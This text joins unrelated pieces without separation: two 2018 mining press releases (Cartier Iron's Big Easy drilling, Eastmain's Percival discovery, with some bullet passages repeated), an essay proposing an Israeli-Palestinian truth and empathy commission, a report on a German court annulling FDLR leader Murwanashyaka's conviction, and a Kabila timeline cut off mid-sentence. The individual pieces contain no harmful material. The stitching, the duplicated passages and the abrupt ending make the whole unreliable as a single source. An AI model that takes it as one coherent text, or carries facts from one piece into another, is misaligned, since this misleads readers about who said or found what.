(GLOBE NEWSWIRE) -- Cartier Iron Corporation (CSE: CFE) (Cartier Iron), is pleased to report results from the first two diamond drill holes from a four hole, 1,249m program, at its Big Easy Gold project located on the Burin Peninsula in eastern Newfoundland. The first hole, BE18-29, tested the downdip potential of the Big Easy showing while three holes tested the Central Induced Polarization (IP) chargeability anomaly located 1.8km south of the Big Easy showing (see press release May 1, 2018). Hole BE18-30 was drilled on the western edge of the Central Anomaly. Hole BE18-31 was collared 40m west of Hole BE18-30 while hole BE18-32 was collared on the eastern edge of the Central Anomaly 200m east of Hole BE18-30. The Central Anomaly as well as other major chargeability anomalies on the property occur under prominent bogs hence drilling in the core of these anomalies must be carried out in the winter. Table 1 gives significant results and Table 2 gives details on collar coordinates and drill hole orientation. Hole BE18-30 intersected a new very wide anomalous alteration zone which returned 180.4 m grading 0.11 g Au/t and 2.65 g Ag/t. Within this extensive zone there is a 40m section which returned 0.28 g Au/t and 6.34 g Ag/t including 4.8m grading 1.26 g Au/t and 33.19 g Ag/t. Hole BE18-29 which tested the potential downdip extension of the Big Easy Showing returned 10.6m of 0.45 g Au/t and 84.96 g Ag/t including 3.9m grading 0.54 g Au/t and 224.9 g Ag/t. The downdip extension is marked by a chargeability anomaly which appears to be stronger with depth. Tom Larsen, President & CEO of Cartier Iron said: Considering the reconnaissance nature of this drill program and the limited meterage of 617m reported, these results are very encouraging and we look forward to receiving the results from the remaining two holes which should be available in the near future. We plan to do a winter drill program in conjunction with efficient accessibility after bog freeze-up of at least 1,000m to further test the Central Anomaly as well as other similar geophysical targets to the west and south. Dr. Bill Pearson, P.Geo., Chief Technical Advisor, commented: The results from Hole BE18-30 indicate that the chargeability anomaly reflects an extensive zone of epithermal alteration and mineralization that is up to 200m wide with a depth extent of at least 250m. The grades are consistently anomalous throughout the entire section suggesting the potential for a well mineralized core zone in the strongest part of the chargeability anomaly (Figures 1 and 2). The mineralized alteration zone was also intersected in the upper part of Hole BE18-31 and the lower part of BE18-32 but results on these holes are pending. This zone is completely open along strike and at depth. Table 1. Significant results from 2018 diamond drilling at Big Easy Gold Project Target Hole No. From To Core Length (m) Au (g/t) Ag (g/t) Big Easy BE18-29 86.6 97.2 10.6 0.45 84.96 Down dip extension Detail 86.6 93.3 6.7 0.40 3.50 93.3 96.0 2.7 0.45 159.52 96.0 97.2 1.2 0.74 372.0 BE18-29 197.0 201.5 4.5 0.67 5.09 BE18-29 253.5 262.0 8.5 0.14 3.69 Central Anomaly BE18-30 60.6 241.0 180.4 0.11 2.65 Incl. 167.0 207.0 40.0 0.28 6.34 Detail 60.6 101.0 40.4 0.06 1.84 101.0 167.0 66.0 0.07 1.29 167.0 173.4 6.4 0.17 3.88 173.4 178.2 4.8 1.26 33.19 178.2 207.0 28.8 0.13 2.41 207.0 241.0 34.0 0.06 1.93 BE18-30 255.9 264.3 8.4 0.16 5.48 284.0 288.0 4.0 0.12 5.98 *True width is estimated to be approximately 70% of core length. Table 2. Collar coordinates, orientation and length of diamond drill holes completed at Big Easy. Target Hole No. Collar E Collar N Dip Azi Length (m) Big Easy BE18-29 710198 5348100 -44 273 287 Down dip extension Central Anomaly BE18-30 709800 5346292 -46 269 329 BE18-31 709757 5346300 -42 283 307 BE18-32 710000 5346286 -43 271 326 Qualified Person Dr. Bill Pearson, P.Geo., a Qualified Person as defined under National Instrument 43-101 (NI 43-101), has reviewed and approved the scientific and technical content of this press release. The IP/Res survey was designed and supervised by Dr. Chris Hale, P.Geo., Chief Geophysicist for Cartier Iron and a Qualified Person as defined under NI 43-101. The diamond drill program was carried out and supervised by Mr. Jeff Burke, P.Geo., Exploration Manager for Cartier Iron on Big Easy and a qualified person as defined by NI 43-101. All samples were analysed using multi-digestion with ICP finish and fire assay with AA finish for gold by AGAT Laboratories in Mississauga, Ontario). Cartier Iron employs an industry standard QA/QC protocol including external standards, blanks and duplicates, with a 5% random split check assay on pulps and rejects by ALS Chemex in North Vancouver, BC. About Cartier Iron Corporation Cartier Iron is an exploration and development Company focused on discovering and developing significant iron ore resources in Quebec, and a potentially significant gold property in the province of Newfoundland and Labrador. The Company's iron ore projects include the Gagnon Holdings in the southern Labrador Trough region of east-central Quebec. The Big Easy gold property is located in the Burin Peninsula epithermal gold belt in the Avalon Zone of eastern Newfoundland. Please visit Cartier Iron's website at www.cartieriron.com. For further information please contact: Thomas G. Larsen Chief Executive Officer (416) 360-8006 Jorge Estepa Vice-President (416) 360-8006 The CSE has not reviewed nor accepts responsibility for the adequacy or accuracy of this release. Statements in this release that are not historical facts are forward-looking statements and readers are cautioned that any such statements are not guarantees of future performance, and that actual developments or results, may vary materially from those in these forward-looking statements. TORONTO, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Eastmain Resources Inc. (Eastmain or the Company - TSX:ER, OTCQX:EANRF) reports results for 5 holes (1,558 m) drilled in late 2018 at the Percival discovery (Percival) and presents its focused exploration program for 2019 on the 100%-owned Clearwater Property (the Property) in James Bay, Quebec. The early 2019 exploration program will focus on testing the extent and continuity of the Percival discovery (see PR dated Nov. 13, 2018). Additionally, the program will evaluate the potential of the 14-km long Knight-Serendipity volcano-sedimentary Horizon (KS Horizon). Percival is located 14 km ESE of the Companys million-ounce Eau Claire gold deposit, within the 20-km long Cannard Deformation Zone (see FIGURE 1) and within the southern leg of the KS Horizon. Percival is a hydrothermal gold system hosted in a thick metasedimentary sequence with locally interbedded intermediate to felsic volcaniclastic rocks. Results from the new drilling provide a further understanding of the mineralization controls, namely by defining lithological and structural settings, within the host stratigraphy while identifying at least two gold mineralized zones within the metasedimentary package (see FIGURES 2-6). Claude Lemasson, Eastmain President and CEO commented: January will be a strong start to 2019 for Eastmain. With a new discovery at Clearwater and an improved geological and geophysical understanding in hand, our team is designing a focused exploration program that follows-up on our 2018 significant results. Percival represents a new style of gold mineralization on the property and we are excited to continue developing the discovery, as well as testing for new mineralization along the entire KS Horizon. Drilling Highlights include: ER18-828: 1.17 g/t Au over 18.3 m (vertical depth of 43 m), including 2.35 g/t Au over 8.0 m within the original targeted zone (silicified mudstone breccia) (vertical depth of 43 m), including 2.35 g/t Au over 8.0 m within the original targeted zone (silicified mudstone breccia) ER18-827: 0.71 g/t Au over 51.9 m (vertical depth of 177 m), including 2.69 g/t Au over 9.0 m in a new deeper zone (silicified greywacke with breccia interbeds and silicified mudstone breccia) Project Highlights: Improved interpretation: Follow-up drilling focused on testing the Percival gold bearing zone, with holes drilled to the NE and SW of the discovery holes (ER18-822 and ER18-823). It extended the strike of the zone to a minimum length of 200 m and tested the 70 o SE dipping stratigraphy to approximately 250 m downdip. Follow-up drilling focused on testing the Percival gold bearing zone, with holes drilled to the NE and SW of the discovery holes (ER18-822 and ER18-823). It extended the strike of the zone to a minimum length of 200 m and tested the 70 SE dipping stratigraphy to approximately 250 m downdip. Geophysics Airborne Survey: Eastmain completed a Helicopter-borne VTEM and Horizontal Magnetic Gradiometer Geophysical Survey (VTEM Plus) along the KS Horizon (550 line-kms covering 12 kms of the KS Horizon) which includes the Percival discovery. Interpretation will be available in January and will help focus work at Percival and other prospective targets along the KS Horizon (see FIGURE 1 ). Eastmain completed a Helicopter-borne VTEM and Horizontal Magnetic Gradiometer Geophysical Survey (VTEM Plus) along the KS Horizon (550 line-kms covering 12 kms of the KS Horizon) which includes the Percival discovery. Interpretation will be available in January and will help focus work at Percival and other prospective targets along the KS Horizon (see ). Improved infrastructure: A 14 km winter trail connecting the road-accessible Eau Claire Project and camp to the Percival discovery will be opened in January. The trail will provide improved access and cost efficiency for the winter campaign. A 14 km winter trail connecting the road-accessible Eau Claire Project and camp to the Percival discovery will be opened in January. The trail will provide improved access and cost efficiency for the winter campaign. 2019 Winter Drill Program: A three-month, 20-hole (5,500 m), focused drilling campaign is planned to begin in mid-January. The program is designed to expand on the discovery while further identifying gold mineralization controls and distribution within the argillite-mudstone sedimentary package at Percival. Building on a likely successful Winter Program, a second extensive campaign will be planned for the second half of 2019 and will include additional drilling of the discovery area and test additional targets delineated along the KS Horizon, using newly acquired geophysical and soil geochemistry information. Drilling Results Gold has been intersected in all holes testing for breccia units within the metasedimentary package which hosts the Percival gold mineralization. Discovery drill holes ER18-822 and ER18-823 traversed the most strongly mineralized portion drilled to date intersecting strongly silicified, sulfide rich, mineralized breccia zones where both matrix and clasts have been replaced by silica. The new holes confirm the lateral extent of potentially gold bearing breccias while intersecting less intense silicification and sulphide concentrations. Significant intercepts and hole location information are presented in Tables 1 and 2 below. The type and intensity of alteration in the initial discovery holes suggests proximity to a syn-volcanic hydrothermal source. Preliminary interpretations strongly suggest that increases in breccia thickness, intensity of alteration (namely silicification) and to a lesser degree high sulphide content, are all controls that can be used to determine the extent, orientation, and occurrence of gold mineralization within the new zones to guide future drill testing. Oriented core measurements taken during the fall program will also assist with targeting gold bearing mineralization in the next phases of drilling. Holes ER18-825 and ER18-828 highlight the absence of the mafic volcanic footwall seen in holes ER18-822 and others drilled further to the east. A NNW trending fault structure is magnetically inferred in this area and may represent a potential offset of stratigraphy and mineralization. One drill hole (assays pending) is testing this potential structure. Table 1: Significant Intercepts Location Drill Hole From (m) To (m) Length (m) Grade (Au g/t) Vertical Depth (m) Host Lithology Percival ER18-824 135.0 138.7 3.7 0.68 123 Silicified mudstone breccia incl. 136.4 137.4 1.0 1.22 281.0 285.0 4.0 1.14 256 Silicified mudstone breccia Percival ER18-825 9.2 23.0 13.9 0.25 10 Silicified Mudstone breccia 179.0 230.0 51.0 0.16 144 Silicified Argillite 331.0 341.0 10.0 0.27 238 Silicified Argillite Percival ER18-826 9.2 18.6 9.4 0.30 9 Silicified mudstone breccia 99.0 100.6 1.6 1.87 70 Intensely silicified breccia 150.0 156.0 6.0 1.05 108 Intensely silicified breccia Percival ER18-827 85.0 107.5 22.5 0.50 68 Intensely silicified breccia incl. 85.0 89.0 4.0 1.87 106.5 107.5 1.0 1.55 76 Silicified mudstone 223.6 275.5 51.9 0.71 177 Silicified greywacke breccia incl. 232.5 234.5 2.0 1.37 incl. 254.0 263.0 9.0 2.69 Percival ER18-828 52.5 70.8 18.3 1.17 43 Breccia in silicified mudstone incl. 52.5 60.5 8.0 2.35 also incl. 58.0 60.5 2.5 6.80 130.0 131.5 1.5 1.04 92 Silicified mudstone breccia Intervals are presented in core length; holes are generally planned to intersect mineralization as close to perpendicular to strike as possible; true widths are estimated to be 75% of downhole length when hole and dips of the mineralized horizons are considered. Assays presented are not capped. Intercepts occur within geological confines of major zones but have not been correlated to individual structures/horizons within these zones at this time. Vertical depth is measured from the surface to the mid-point of the reported interval. Table 2: Drill Hole Information Target Zone Drill Hole UTM Coordinates Zone 18 Azimuth Dip Total Length Elevation Number Easting Northing Degrees Degrees (m) (m) Percival ER18-824 457656 5781700 360 -65 364 328 Percival ER18-825 457530 5781710 360 -45 385 328 Percival ER18-826 457695 5781752 360 -45 307 336 Percival ER18-827 457700 5781800 360 -45 294 336 Percival ER18-828 457600 5781760 360 -45 208 336 Additional Drilling Completed and Planned Three additional holes (887 m) were completed this week at Percival. All three holes were collared to the west of the discovery holes, aimed at testing interpreted lateral extension, structural interpretation and possible plunge of breccia units in the sedimentary host package. Results from these holes will be available in January 2019. The Percival Discovery Percival is located 14 km ESE of the Eau Claire deposit (see FIGURE 1) in the Knight sector of the KS Horizon, on the Clearwater Property. The KS Horizon is characterized by an extensive package of metasedimentary and metavolcanic rocks metamorphosed from upper greenschist to lower amphibolite facies. The horizon is also affected by deformation related to major crustal scale structures specifically the Cannard Deformation zone at the Percival discovery. The stratigraphy at the Percival comprises foliated, predominantly south facing metasedimentary rocks underlain by marine mafic metavolcanics. The Knight sector is interpreted to be at the south-western end of the prospective volcano-sedimentary sequence. Holes ER18-822 and ER18-823 were drilled on a single section (see FIGURE 5) to undercut gold mineralization exposed in a sequence of silicified metavolcanics and metasediments during the Companys summer surface exploration program. These two holes intersected a silicified, sulfide rich, and gold mineralized brecciated interval of approximately 50 m in true thickness which extends from surface to a minimum vertical depth of approximately 100 m. Holes ER18-824 to ER18-828 were drilled to flank Percival discovery holes ER18-822 and ER18-823, testing for the extension of the brecciated units over a NE strike length of 200 m and across stratigraphy over 250 m. For additional information on the Geology of the Percival Discovery and the KS Horizon, please visit: Click Here To view Figures 1-6, please click on the following link: Click Here This press release was compiled and reviewed by William McGuinty, P.Geo., Eastmains VP Exploration and Carl Corriveau, P.Geo., Eastmains Exploration Manager, both Qualified Persons under National Instrument 43-101. Quality Assurance and Quality Control (QA/QC) The design of the Eastmain Resources drilling programs, Quality Assurance/Quality Control and interpretation of results is under the control of Eastmains geological staff, including qualified persons employing a strict QA/QC program consistent with NI 43-101 and industry best practices. The Clearwater project is supervised by Eastmains Project Geologist, Michel Leblanc P. Geo. Drill core is logged and split with half-core samples packaged and delivered to ALS Minerals laboratory. Samples are dried and subsequently crushed to 70% passing a 2 mm mesh screen. A 1,000 grams subsample is pulverized to a nominal 85% passing 75 micron mesh screen. The remaining crushed sample (reject) and pulverized sample (pulp) are retained for further analysis and quality control. All samples are analysed by Fire Assay with an Atomic Absorption (AA) finish using a 50 g aliquot of pulverized material. Assays exceeding 5 g/t Au are reassayed by Fire Assay with a Gravimetric Finish. Eastmain regularly inserts 3rd party reference control samples and blank samples in the sample stream to monitor assay performance and performs duplicate sampling at a second certified laboratory. Approximately 10% of samples submitted are part of the Companys laboratory sample control protocols. About Eastmain Resources Inc. (TSX:ER) www.eastmain.com Eastmain is a Canadian exploration company advancing three high-grade gold assets in the emerging James Bay gold camp in Quebec. The Company holds a 100% interest in the Eau Claire Project, for which it recently issued a Preliminary Economic Assessment (PEA), and the Eastmain Mine Project where the Company prepared a NI 43-101 Mineral Resource Estimate in 2018. Eastmain is also the manager of the Eleonore South Joint Venture, located immediately south of Goldcorp Inc.'s Eleonore Mine, which hosts a new high-grade gold discovery found in late 2017. In addition, the Company has a pipeline of exploration projects in this favourable mining jurisdiction with nearby infrastructure. For more information: Claude Lemasson, President and CEO +1 647-347-3765 This email address is being protected from spambots. You need JavaScript enabled to view it. Alison Dwoskin, Manager, Investor Relations +1 647-347-3735 This email address is being protected from spambots. You need JavaScript enabled to view it. Forward-Looking Statements Certain information set forth in this news release may contain forward-looking statements that involve substantial known and unknown risks and uncertainties. Forward-looking statements consist of statements that are not purely historical, including statements regarding beliefs, plans, expectations or timing of future plans, and include, but not limited to, statements with respect to the potential success of the Companys future exploration and development strategies. These forward-looking statements are subject to numerous risks and uncertainties, certain of which are beyond the control of Eastmain, including, but not limited to the impact of general economic conditions, industry conditions, dependence upon regulatory approvals, the availability of financing, timely completion of proposed studies and technical reports, and risks associated with the exploration, development and mining industry generally such as economic factors as they affect exploration, future commodity prices, changes in interest rates, safety and security, political, social or economic developments, environmental risks, insurance risks, capital expenditures, operating or technical difficulties in connection with development activities, personnel relations, the speculative nature of gold exploration and development, including the risks of diminishing quantities of grades of Mineral Resources, contests over property title, and changes in project parameters as plans continue to be refined. Readers are cautioned that the assumptions used in the preparation of such information, although considered reasonable at the time of preparation, may prove to be imprecise and, as such, undue reliance should not be placed on forward-looking statements. The Company assumes no obligation to update such information, except as may be required by law. Part 1: Unofficial Truth-Telling in Active Conflict Civil society actors are making important inroads into the field of transitional justice through unofficial truth-telling. Transitional justice can be defined as a process that seeks recognition for victims and to promote possibilities for peace, truth-letting, justice, reconciliation, and democracy. The truth-telling activities of civil society mostly replicate those undertaken by official commissions, such as producing reports, conducting public hearings, or meticulously documenting past abuses (Dudai and Cohen, Chapter 11, 234). Increasingly, many scholars are advocating for local truth-seeking processes. Bickford has labelled such initiatives as unofficial truth projects. In his leading study, he recognises that they may serve as replacements for official measures, (e.g. Brazil and Northern Ireland); as precursors to state-backed measures (Iraq and Brazil); and/or as complimentary to state initiatives (Guatemala). Dudai calls such projects deviant commemorations, because of the way they act against the dominant values in their own communities. An important element of such truth-telling is addressing the abuses committed by ones own in-group, against members of an ethnic, national or religious out-group. VIABLE ALTERNATIVE Unofficial truth-recovery is particularly valuable when formal institutions are unfeasible or simply unavailable (Dudai and Cohen, Chapter 11, 231). They can act as de facto replacements for official measures (Bickford, 1004). For instance, in countries like Brazil and Uruguay in 1984 and 1985, or Northern Ireland in 1998, the creation of an official truth commission was politically unfeasible, and it therefore fell on civil society to deal with the past. In such contexts, civil society becomes a viable alternative to the state, compensating for its inaction. In Brazil, an unofficial truth-telling project called Nunca Mais (Never Again), coordinated by the World Council of Churches, exposed irrefutable evidence of systematic torture by the Brazilian state (Weschler). Working from 19791982, while the military was still in power, lawyers and other researchers investigated the use of torture against the regimes political opponents, secretly copying documents from military trial transcripts from 19641979 and gathering testimony from political prisoners. This resulted in the publication of a final report that became a best seller and had lasting effects on Brazilian society, receiving as much attention, if not more than an official report would have (Weschler). The report proved conclusively that torture was an essential part of the military justice system and that judicial authorities were clearly aware of its use to extract confessions (Weschler). Ultimately, the Brazilian civil society effort laid the foundations for national engagement with the past, as well as more formal transitional justice measures. Thus, in 1995, the democratic government established a Special Commission on Political Deaths and Disappearances (the CEMDP), that disbursed nearly 40 million reals of reparations. In 2011, Brazil established a National Truth Commission that formally investigated violations from the period of 19461988. Unofficial truth-seeking efforts were also crucial to Northern Ireland. Like Brazil, they emerged at a time when the political climate effectively ruled out the creation of an official tribunal or truth commission. Indeed, the issue of responsibility was left unresolved in the fault-neutral framework of the Belfast Agreement (Bell; Aiken). One prominent example is the Ardoyne Commemoration Project (ACP), a local effort that focused on personal testimonies from the small nationalist community of Ardoyne in Northern Belfast. Through the collection of over 300 oral interviews, the ACP sought to record the stories of around 100 people killed during the Troubles. The ACP emerged in 1996 as a result of the communitys desire to acknowledge the victims as a counter to state-sanctioned forgetting and to tell their story from the perspective of the community (ACP). Notably, the process began two years before the Good Friday Agreement was signed in 1998. UNOFFICIAL ADVANTAGE Unofficial truth-telling projects can also be more advantageous. Whilst state-led mechanisms enjoy some distinct advantages (e.g. greater status, visibility, powers and recognition), civic endeavors better serve community-level truth-telling (Bickford, 995). An unofficial project more easily allows voices from below to be heard and heeded. According to the ICTJ, by mobilising victims, documenting abuses, and issuing formal findings, these inquiries have often generated public support and catalysed official action. For example, the Peace and Justice Service investigation in Uruguay was more comprehensive, accurate and widely distributed than the little-known and anemic government report that was released later (Crocker, 13). In Guatemala, the project called the Proyecto de Recuperacion de la Memoria Historica (REMHI) recorded close to 6500 testimonies and documented more than 55,000 human rights violations. Conducted by the Human Rights Office of the Archbishop of Guatemala, the project had the support of more than 70 churches, human rights organizations, and NGOs worldwide. Although not officially sanctioned, the projects final report Guatemala: Nunca Mas (released in April 1998) was highly publicised and extremely influential (Backer, 304-5; Cabrera). Thus, non-state truth-recovery is an important response to the past, and can both challenge official narrative, and mobilise a national response. Part 2: Unofficial Truth-Telling for Israelis and Palestinians Given the above, an Israeli-Palestinian truth project is desirable based on two fundamental arguments. Firstly, civil society efforts are the only feasible avenue for meaningful truth-recovery and transitional justice in the current climate. Akin to the countries discussed, Israel-Palestine is a highly politicised context, in which the prospects for an official truth commission or an imminent ICC intervention remain slim (Bracka). Whilst the conflict rages, there is little political incentive on either side to investigate past abuses. Israeli leaders are particularly reluctant to address issues concerning historical justice (Bar-Siman-Tov, 201). Both Oslo I and Oslo II expressly deferred the question of the Palestinian refugees, postponing any policing of the past to a future unspecified stage (King-Irani, 375; Cavanaugh, 940-1). The brokered settlements failed to mention any efforts to compensate or acknowledge Palestinian refugees, or consider symbolic measures to address the return issue. Whilst some peace plans mention 1948, none of them truly grapple with the psychological and historical barriers impeding the parties (Bracka). Civil engagement with the past may be the only way to credibly investigate and expose human rights violations, and apply transitional justice to the conflict. Secondly, unofficial truth-telling may be more valuable, given its local legitimacy and role as a tool of conflict transformation. Civic truth initiatives often play a larger part in earlier stages of conflict than official ones (Dudai, 258). The Northern Ireland experience demonstrates the value of sequencing truth recovery efforts in highly politicised contexts, with intra-communal truth recovery being the first necessary building block for people to develop the sense of self-confidence, security and receptiveness (Lundy and McGovern, 2). For Israelis and Palestinians, grass-roots truth-telling might set the stage for narrowing meta-narratives, and fostering a degree of empathy between the two sides (Adam and Moodley, 156). Indeed, the ability to develop a new and shared view of the past is central to reconciliation processes, (Bar-Tal and Bennink) and it requires domestic legitimacy (Bar-Siman-Tov, 15). In this regard, the involvement of Israeli and Palestinian victims may lend more weight to truth-recovery. This is particularly true for the Palestinian refugees. The experience of Oslo demonstrates that formal authorisation of a political agreement is not enough, if the agreement is unacceptable to vast segments of the population. Ultimately, culturally tailored transitional justice measures could significantly improve conflict resolution for this region. For example, unofficial truth-telling might resonate more with Palestinians based on their customary conflict resolution practices (sulha). A modified process of sulha might be a relevant basis for an Israeli-Palestinian community truth initiative (Lang, Gellman and Vuinovich). In particular, a transitional justice mechanism should be conceived that transcends the narrow official discourse, and which encompasses the requirements of narrative, history, reparations, and repair. This author contemplates a collaborative project in which an Israeli-Palestinian Truth and Empathy Commission (IPTEC) is jointly formulated to inform political negotiations and provoke wider debate (Miller, 306). Part 3: Build it, and they will Calm: Conceiving an Israeli-Palestinian Truth and Empathy Commission (IPTEC) It might seem counter-intuitive to conceive of an IPTEC against the grim political backdrop. Yet, as discussed in the previous article, in an era of diplomatic stalemate and official hostility, civil society efforts may be the only feasible avenue for truth-recovery and transitional justice in the Israeli-Palestinian conflict. Indeed, unofficial truth-telling may be more valuable, given its local legitimacy and role as a tool of conflict transformation. From this standpoint, an unofficial transitional justice mechanism should be conceived that transcends the narrow official discourse, and which encompasses the requirements of narrative, history, reparations, and repair (Miller, 306). Miller contemplates a collaborative truth-telling project in which an IPTEC is formulated by Israelis and Palestinians to inform political negotiations and provoke wider debate. There is some precedence for academic endeavors spilling over from scholarly journals and conferences into the public domain. For example, in Israel, critical scholarship of 1948, led to marked shifts in popular memory, with official history textbooks being re-written (Nets-Zehngut, 9, 15), and increased diplomatic willingness to acknowledge responsibility for the Palestinian displacement (Hirsch, 247). Similarly, a bi-national academic initiative of this kind could break taboos on both sides, propose counter-narratives, and envisage a post-conflict reality. GOALS OF AN IPTEC An IPTEC grounded in the goals of empathy as reconciliation and restorative justice could sow the seeds of resolving the historical elements of the conflict (Nets-Zehngut, 9). Fostering empathy between rivals is instrumental to peacebuilding and transitional justice (Hamber and Kelly, 288-289). Thinner notions of reconciliation are advocated for Israelis and Palestinians because of the inter-state and ongoing nature of the conflict. For now, what is required is not expecting individuals to overcome trauma, to forgive or even to heal, but to encourage some identification with the other sides suffering (Rothstein, 13; Rouhana, 8; Dwyer, 246). The collection of personal stories and scholarship could begin the process of challenging exclusive notions of victimhood and mutual demonization. This is distinguishable from South Africas Truth and Reconciliation Commission, which framed reconciliation in religious and personal concepts of forgiving. Beyond individual criminal justice, a vital requirement for Israelis and Palestinians is acknowledgement of historic rights, collective responsibility and some form of atonement for the past. Given that the conflict involves national and historic claims, the needs of the parties are potentially better suited to a restorative idea of justice, rather than a retributive one (Bracka). Arguably, an IPTEC has the potential to herald earlier support, healing and trust between the parties, and to promote a more meaningful termination of the conflict by extending the boundaries of discussion. TRUTH-TELLING AS CREATIVE DIPLOMACY The IPTEC could also provide creative strategies for diplomatic resolution. According to Nets-Zehngut and Ben-Josef Hirsch, revised historical narratives of 1948 opened up the official peace discussions. The 2000 Camp David and the 2001 Taba Israeli-Palestinian peace summits heralded a marked shift. In particular, critical scholarship enabled negotiators to revisit the issue of Palestinian refugees by allowing the consideration of new negotiable tradeoffs, namely the tradeoff between the symbolic act of an Israeli acknowledgement (or even apology) and a Palestinian concession on their actual right of return (Hirsch, 241). Thus, as well as influencing the political elites (Hirsch, 251), an IPTEC might help resolve intractable items on the negotiation agenda by looking at them through a transitional justice prism (Dudai, 256). Indeed, the joint Israeli-Palestinian Geneva Initiative affirmed the value of symbolic acts diplomatically, and proposed creating forums for exchanging historical narratives and enhancing mutual understanding about the past (Article 7). Thus, Israeli and Palestinian negotiators might draw on an unofficial IPTEC to overcome diplomatic obstacles (Dudai, 264). For example, an Israeli public apology, compensation to refugees based on clear and transparent criteria, and an official report whose findings or recommendations would address past abuses, may all be contemplated as political concessions. As was the case in Sierra Leone and El Salvador, negotiators can agree upon a truth and reconciliation mechanism in principle to be implemented once an agreement is achieved. BILATERAL TRUTH-TELLING AND BROAD MANDATE Notably, practitioners in the field tend to envisage an Israeli/Palestinian truth commission, which solely examines 1948 and Israeli accountability for the Palestinian refugees. For Miller, the Commissions focus is squarely on the Palestinian refugees. Similarly, Peled and Rouhana contemplate transitional justice in Israel/Palestine as limited to 1948, and the Palestinian right of return. Indeed, in October 2014 Zochrot established an unofficial public truth commission to address Israeli responsibility for the displacement of Negev Bedouins during 1948-1960. Zochrot (remembering in Hebrew) is perhaps the most prominent transitional justice group in Israel, which conducts truth-telling activities on 1948. Its truth commission heard testimonies by Palestinian refugees, as well as by Jews who lived in the south and Jewish fighters involved in displacement and expulsion operations in the area. The commissions impact, however, was limited. Neither the report nor the public hearings garnered much media attention, let alone managed to counter denial of the Nakba within Israeli-Jewish society. No doubt, such endeavours are brave attempts to trial transitional justice in the region. Nevertheless, they are also too easily dismissed as one-sided, and lacking in a suitably nuanced view of historical responsibility. The Commissions Report seemed to ascribe responsibility for the Palestinian refugees entirely to the Jewish society in Israel. An unofficial truth-telling project that only examines Israeli abuses diminishes its ability to affect both societies, and transcend reductionist history (Khalidi, 14; Rogan and Shlaim, 2). Ideally, an NGO sympathetic to the legitimate national claims and aspirations of both sides should pioneer an IPTEC. Rather than deepening the divide, it is submitted that an IPTEC be broader than 1948, and akin to the South African model, address the human rights abuses of both parties. To be afforded contemporary relevance, credibility and real cathartic potential, a model IPTEC should contend with essential elements of the current conflict narrative (from Israeli occupation abuses to Palestinian terrorist attacks). Ideally, the IPTEC would address two historical periods, one of 1945-50 to resolve the historic taboo of Palestinian displacement and the claimed right of return. The second period would examine the conflicts escalation following the second Intifada (2000-present) to treat two themes, one of Israeli military occupation and the other, of Palestinian suicide bombing and terrorist attacks on Israeli civilians. A wider IPTEC would increase its reconciliatory and truth-telling capacity by garnering more support in Israel and the international community. Despite the asymmetry of power between Israelis and Palestinians, it is argued that, psychologically both nations are traumatised by a victim ideology affecting their deepest levels of existence (Meyerstein, 301). Thus, innovative unofficial bi-national approaches should be trialed in order to produce a common narrative on the origins of the refugee problem, and to offer a critical history of 1948, 1967 and the second Intifada. CONCLUSION Ultimately, engaging Israeli-Palestinian history is no small task. Still, it is part of a necessary process of transforming cultures of denial and victimhood into one of peace-building and acknowledgement. In cases like the Israeli-Palestinian one, where there is insufficient political will to establish an official commission, an IPTEC may represent an essential last resort to truth-telling, and could also be seen as a desirable and locally legitimate tool for confronting the past. A mammoth case against a Rwandan man accused of masterminding massacres in eastern Democratic Republic of Congo from his home in Germany, will have to be reopened, Germanys highest penal court ruled Thursday, overturning his conviction. Ignace Murwanashyaka, head of the Democratic Forces for the Liberation of Rwanda (FDLR), was sentenced to 13 years in prison, while his deputy Straton Musoni was given eight years by a court in Stuttgart in 2015. They both had appealed their convictions. The Federal Court of Justice Thursday confirmed the verdict against Musoni. But it found that part of the case against Murwanashyaka was flawed both in his favour and against. The guilty verdict is therefore to be completely annulled, even though the conviction of the accused as a leader of a terrorist organisation was without legal error per se, said the court. Murwanashyaka had been found guilty of abetting five attacks by FDLR rebels on Congolese settlements in 2008-2009. But the court said the initial verdict by the higher regional court of Stuttgart did not sufficiently prove that Murwanashyakas support of at least one of the attacks was premeditated. The judges ordered the Stuttgart tribunal to take a fresh look at his role in all five attacks. They also disagreed with the previous decision not to judge the accused for crimes against humanity as well as war crimes. Musoni was allowed to go free after the ruling because he had already been in pre-trial jail for almost six years and, therefore qualified for conditional release for good behaviour. Murwanashyaka currently remains in jail. The original verdict in the case, after a trial that lasted more than four years, was at the time hailed as a breakthrough by the United Nations in efforts to bring FDLR commanders living abroad to justice. The two Rwandans, who have lived in Germany for more than 20 years, were initially accused of 26 counts of crimes against humanity and 39 counts of war crimes. But over time that was whittled down to charges related specifically to the killings, in part because the court decided not to further tax the vulnerability of traumatised rape victims or child soldiers by making them appear before the hearing. The judge back then said the difficulties encountered by the prosecution in the biggest such trial in Germany as well as the length of time the case took had been unacceptable. Joseph Kabila came to power in the Democratic Republic of Congo in 2001, ruling during a period of bloody insurgencies and deadly protests against his extended mandate. Here is a timeline. Kabila father to son In January 2001, 29-year-old Kabila takes over as leader of this vast central African country just days after his father Laurent-Desire is assassinated by a bodyguard. He becomes president as the country is being torn apart by a war which has been raging since August 1998, pitting government forces backed by Angola, Chad, Namibia and Zimbabwe against rebel groups supported by Burundi, Rwanda and Uganda. The conflict ends after a power-sharing deal is signed in South Africa in December 2002. Free but violence-hit vote In 2006, Kabila wins the first free presidential election for 41 years, defeating ex-warlord Jean-Pierre Bemba in a violence-tainted poll. A constitutional change the same year limits a president to two five-year terms. In March 2007, heavy clashes erupt in Kinshasa between army troops and soldiers loyal to Bemba, leaving 300 dead. With his men are defeated, Bemba leaves the country but is arrested near Brussels a year later on charges of war crimes. In a report examining the two years since Kabilas election, Human Rights Watch accuses Kinshasa of killing an estimated 500 opposition supporters and arresting 1,000 more, denouncing the regime for its brutal repression. In November 2011, Kabila is re-elected in a vote marked by chaotic organisation, violence and alleged irregularities. The opposition rejects the results. Uprisings and bloodshed In 2012, clashes erupt between soldiers and rebels from the M23 movement in the eastern mineral-rich Kivu region, with the uprising eventually stamped out in November 2013 in the face of a crushing UN-backed offensive. A month later, armed youths loyal to a televangelist demanding Kabilas resignation launch coordinated attacks in the capital and other cities. The violence prompts a government crackdown that leaves more than 300 people dead, rights groups say. In 2014, there is a new uprising in North Kivu by suspected Ugandan Muslim rebels with the fighting claiming more than 200 civilians lives around the town of Beni in October and November. Elusive election In December 2014, Kabila names a government that includes several opposition members, despite promising to appoint a cabinet of national unity. A month later, demonstrations break out in Kinshasa over a bill that would delay the 